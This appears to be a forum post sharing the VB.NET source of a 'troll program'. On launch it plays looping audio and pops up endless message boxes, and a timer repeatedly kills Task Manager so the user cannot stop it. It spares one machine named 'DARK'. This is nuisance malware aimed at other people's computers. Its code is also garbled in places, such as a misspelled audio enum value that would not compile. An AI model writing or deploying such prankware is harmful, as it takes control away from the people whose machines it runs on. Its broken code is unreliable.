TOPIC: Troll program

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        If My.Computer.Name = "DARK" Then
            MsgBox("nah")
            End
        End If

        My.Computer.Audio.Play(My.Resources.Resource1.Graweedy_Falls, AudioPlayMode.BackgroundLoopackground)
        Timer1.Start()
        While 1 = 1
            MsgBox("oh heya")
        End While
    End Sub

    Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click

    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        For Each prog As Process In Process.GetProcesses
            If prog.ProcessName = "Taskmgr" Then
                prog.Kill()
            End If
        Next
    End Sub
End Class